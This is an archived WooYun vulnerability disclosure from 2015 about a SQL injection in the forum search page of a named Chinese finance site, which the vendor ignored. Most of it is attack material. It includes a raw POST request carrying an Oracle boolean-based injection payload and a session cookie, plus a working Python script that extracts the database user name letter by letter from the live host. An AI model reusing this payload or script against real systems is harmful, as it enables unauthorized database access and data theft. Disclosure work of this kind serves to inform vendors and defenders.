乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-23: 细节已通知厂商并且等待厂商处理中 2015-11-28: 厂商已经主动忽略漏洞,细节向公众公开
POST http://www.licai18.com/bbsnew/List.jsp HTTP/1.1Content-Length: 100Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip,deflateHost: www.licai18.comAccept: */*User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7Connection: closeReferer: http://www.licai18.comPragma: no-cacheCache-Control: no-cache,no-storeCookie: JSESSIONID=33741F0E5722851380CC342A25B2CE5B; bdshare_firstime=1447904142373; BAIDUID=03D803A79E5747E0D687ED3D0FBBD17E:FG=1Content-Type: application/x-www-form-urlencodedSubmit=%b2%e9%d5%d2&choose=title&content=1%25%27%20AND%20length(SYS_CONTEXT('USERENV','CURRENT_USER'))=5%20AND%20%27%25%27%3D%27&sea=1&topicId=1
content参数存在SQL注入为真时,可以得到USER长度为5:
为假时:
#encoding=utf-8import httplibimport timeimport stringimport sysimport randomimport urllibheaders = { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': '', 'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',}payloads = list(string.ascii_lowercase)payloads += list(string.ascii_uppercase)for i in range(0,10): payloads.append(str(i)) print 'start to retrive Oracle user:'user = ''for i in range(1,6,1): for payload in payloads: conn = httplib.HTTPConnection('www.licai18.com', timeout=30) params = { 'Submit': '%b2%e9%d5%d2', 'content': "1%%' AND ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s AND '%%'='" % (i, ord(payload)), 'choose': 'title', 'sea': '1', 'topicId': '1', } conn.request(method='POST', url='/bbsnew/List.jsp', body = urllib.urlencode(params), headers = headers) start_time = time.time() html_doc = conn.getresponse().read() #print html_doc conn.close() print '.', if html_doc.find('1924') > 0: # true user += payload print '\n[in progress]', user breakprint '\nOracle user is', user
危害等级:无影响厂商忽略
忽略时间:2015-11-28 14:24
漏洞Rank:4 (WooYun评价)
暂无